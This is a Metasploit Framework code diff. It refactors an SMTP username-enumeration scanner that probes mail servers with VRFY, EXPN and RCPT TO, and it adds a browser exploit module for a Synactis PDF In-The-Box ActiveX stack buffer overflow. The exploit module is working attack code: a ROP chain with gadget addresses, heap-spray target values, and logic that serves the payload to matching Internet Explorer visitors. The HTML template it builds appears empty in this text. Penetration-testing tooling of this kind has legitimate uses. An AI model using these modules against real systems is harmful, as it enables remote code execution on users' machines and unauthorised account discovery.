diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index dfc449ab9a..c8e26389b8 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -33,7 +33,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ '==[ Alligator Security Team ]==', - 'Heyder Andrade ' + 'Heyder Andrade ', + 'nebulus' ], 'License' => MSF_LICENSE ) @@ -45,184 +46,173 @@ class Metasploit3 < Msf::Auxiliary [ true, 'The file that contains a list of probable users accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') - ] - )], self.class) + ]), + OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true]) + ], self.class) deregister_options('MAILTO','MAILFROM') end - def target - "#{rhost}:#{rport}" - end - - def smtp_send(data=nil, con=true) + def smtp_send(data=nil) begin - @result='' - @coderesult='' - if (con) - @connected=false - connect - select(nil,nil,nil,0.4) - end - @connected=true + result='' + code=0 sock.put("#{data}") - @result=sock.get_once - @coderesult=@result[0..2] if @result + result=sock.get_once + result.chomp! if(result) + code = result[0..2].to_i if result + return result, code + rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError + return result, code rescue ::Exception => e - print_error("Error: #{e}") - raise e + print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'") + return nil, 0 end end def run_host(ip) - @users_found = {} - @mails_found = {} + users_found = {} + result = nil # temp for storing result of SMTP request + code = 0 # status code parsed from result + vrfy = true # if vrfy allowed + expn = true # if expn allowed + rcpt = true # if rcpt allowed and useful + usernames = extract_words(datastore['USER_FILE']) + cmd = 'HELO' + " " + "localhost" + "\r\n" - smtp_send(cmd,true) - print_status(banner) - @domain = @result.split()[1].split(".")[1..-1].join(".") - print_status("Domain Name: #{@domain}") + connect + result, code = smtp_send(cmd) - begin - cmd = 'VRFY' + " " + "root" + "\r\n" - smtp_send(cmd,!@connected) - if (@result.match(%r{Cannot})) or (@result.match(%r{recognized})) - vprint_status("VRFY command disabled") - elsif (@result.match(%r{restricted})) - vprint_status("VRFY command restricted") + if(not result) + print_error("#{rhost}:#{rport} Connection but no data...skipping") + return + end + banner.chomp! if (banner) + if(banner =~ /microsoft/i and datastore['UNIXONLY']) + print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})") + return + elsif(banner) + print_status("#{rhost}:#{rport} Banner: #{banner}") + end + + domain = result.split()[1] + domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello') + + + vprint_status("#{ip}:#{rport} Domain Name: #{domain}") + + result, code = smtp_send("VRFY root\r\n") + vrfy = (code == 250) + users_found = do_enum('VRFY', usernames) if (vrfy) + + if(users_found.empty?) + # VRFY failed, lets try EXPN + result, code = smtp_send("EXPN root\r\n") + expn = (code == 250) + users_found = do_enum('EXPN', usernames) if(expn) + end + + if(users_found.empty?) + # EXPN/VRFY failed, drop back to RCPT TO + result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n") + if(code == 250) + user = Rex::Text.rand_text_alpha(8) + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") + if(code >= 250 and code <= 259) + vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'") + rcpt = false + else + smtp_send("RSET\r\n") + users_found = do_rcpt_enum(domain, usernames) + end else - vprint_status("VRFY command enabled") - vrfy_ok=true + rcpt = false end end - begin - if (vrfy_ok) - extract_words(datastore['USER_FILE']).each {|user| - do_vrfy_enum(user) - } - else - do_mail_from() - extract_words(datastore['USER_FILE']).each {|user| - return finish_host() if ((do_rcpt_enum(user)) == :abort) - } - end - - if(@users_found.empty?) - print_status("#{target} No users or e-mail addresses found.") - else - vprint_status("#{target} - SMTP - Trying to get valid e-mail addresses") - @users_found.keys.each {|mails| - return finish_host() if((do_get_mails(mails)) == :abort) - } - finish_host() - disconnect - end + if(not vrfy and not expn and not rcpt) + print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)") + return end + finish_host(users_found) + disconnect + + rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT + rescue ::Exception => e + print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'") end - def finish_host() - if @users_found && !@users_found.empty? - print_good("#{target} Users found: #{@users_found.keys.sort.join(", ")}") + def finish_host(users_found) + if users_found and not users_found.empty? + print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}") report_note( :host => rhost, :port => rport, :type => 'smtp.users', - :data => {:users => @users_found.keys.join(", ")} - ) - end - - if(@mails_found.nil? or @mails_found.empty?) - print_status("#{target} No e-mail addresses found.") - else - print_good("#{target} E-mail addresses found: #{@mails_found.keys.sort.join(", ")}") - report_note( - :host => rhost, - :port => rport, - :type => 'smtp.mails', - :data => {:mails => @mails_found.keys.join(", ")} + :data => {:users => users_found.join(", ")} ) end end - def do_vrfy_enum(user) - cmd = 'VRFY' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - vprint_status("#{target} - SMTP - Trying name: '#{user}'") - case @coderesult.to_i - when (250..259) - print_good "#{target} - Found user: #{user}" - @users_found[user] = :reported - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - @mails_found[mail.to_s] = :reported - end - end + def kiss_and_make_up(cmd) + vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...") + disconnect + connect + smtp_send("HELO localhost\r\n") + result, code = smtp_send("#{cmd}") + result.chomp! + cmd.chomp! + vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'") + return result,code end - def do_mail_from() - vprint_status("Trying to use to RCPT TO command") - cmd = 'MAIL FROM:' + " root@" + @domain + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '501') && @domain.split(".").count > 2 - print_error "#{target} - MX domain failure for #{@domain}, trying #{@domain.split(/\./).slice(-2,2).join(".")}" - cmd = 'MAIL FROM:' + " root@" + @domain.split(/\./).slice(-2,2).join(".") + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '501') - print_error "#{target} - MX domain failure for #{@domain.split(/\./).slice(-2,2).join(".")}" - return :abort + def do_enum(cmd, usernames) + + users = [] + usernames.each {|user| + next if user.downcase == 'root' + result, code = smtp_send("#{cmd} #{user}\r\n") + vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'") + result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '') + if(code == 250) + vprint_status("#{rhost}:#{rport} - Found user: #{user}") + users.push(user) end - elsif (@coderesult == '501') - print_error "#{target} - MX domain failure for #{@domain}" - return :abort - end + } + return users end - def do_rcpt_enum(user) - cmd = 'RCPT TO:' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - vprint_status("#{target} - SMTP - Trying name: '#{user}'") - case @coderesult.to_i - # 550 is User unknown, which obviously isn't fatal when trying to - # enumerate users, so only abort on other 500-series errors. See #4031 - when (500..549), (551..599) - print_error "#{target} : #{@result.strip if @result} " - print_error "#{target} : Enumeration not possible" - return :abort - when (250..259) - print_good "#{target} - Found user: #{user}" - @users_found[user] = :reported - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - @mails_found[mail.to_s] = :reported - end - end - end + def do_rcpt_enum(domain, usernames) + users = [] + usernames.each {|user| + next if user.downcase == 'root' + vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...") + result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n") + result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '') - def do_get_mails(user) - cmd = 'EXPN' + " " + user + "\r\n" - smtp_send(cmd,!@connected) - if (@coderesult == '502') - print_error "#{target} - EXPN : #{@result.strip if @result}" - return :abort - else - unless (@result.nil? || @result.empty?) - mail = @result.scan(%r{\<(.*)(@)(.*)\>}) - unless (mail.nil? || mail.empty?) - print_good "#{target} - Mail Found: #{mail}" - @mails_found[mail.to_s] = :reported + if(code == 250) + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") + if(code == 0 and result.to_s == '') + kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") + result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n") end + + if(code == 250) + vprint_status("#{rhost}:#{rport} - Found user: #{user}") + users.push(user) + end + else + vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')") + break end - end + smtp_send("RSET\r\n") + } + return users end def extract_words(wordfile) return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") {|f| f.read} - rescue - return - end + words = File.open(wordfile, "rb") {|f| f.read} save_array = words.split(/\r?\n/) return save_array end diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb new file mode 100644 index 0000000000..de6dada631 --- /dev/null +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -0,0 +1,206 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "7.0", + :ua_maxver => "8.0", + :javascript => true, + :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", + :method => "ConnectToSynactis", + :os_name => OperatingSystems::WINDOWS, + :rank => AverageRanking + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX + component, specifically PDF_IN_1.ocx. When a long string of data is given + to the ConnectToSynactis function, which is meant to be used for the ldCmdLine + argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry + class pointer saved on the stack, and results in arbitrary code execution under the + context of the user. + + Also note that since the WinExec function is used to call the default browser, + you must be aware that: 1) The default must be Internet Explorer, and 2) When the + exploit runs, another browser will pop up. + + Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, + which is how the vulnerability was found and publicly disclosed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h1ch4m', + 'sinn3r' #Metasploit + ], + 'References' => + [ + [ 'OSVDB', '93754' ], + [ 'EDB', '25835' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + # Newer setups like Win + IE8: "Object doesn't support this property or method" + [ 'Automatic', {} ], + [ + 'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c} + ], + [ + # 0x20302020 = Where the heap spray will land + # 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4 + 'IE 8 on Windows XP SP3', + { 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "May 30 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + return nil + end + + def get_payload(t, cli) + code = payload.encoded + + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + # Must be null-byte-free for the spray + chain = + [ + t['Pivot'], + 0x41414141, + t['Ecx'], # To ECX + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x41414141, + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + + p = chain + align + code + + else + p = "\x0c" * 50 + code + end + + p + end + + def get_html(cli, req, target) + js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch)) + eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x" + + html = %Q| + + + + + + + + + | + + html.gsub(/^\t\t/, '') + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + target = get_target(agent) + if target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + print_status("Target selected as: #{target.name}") + send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end +end \ No newline at end of file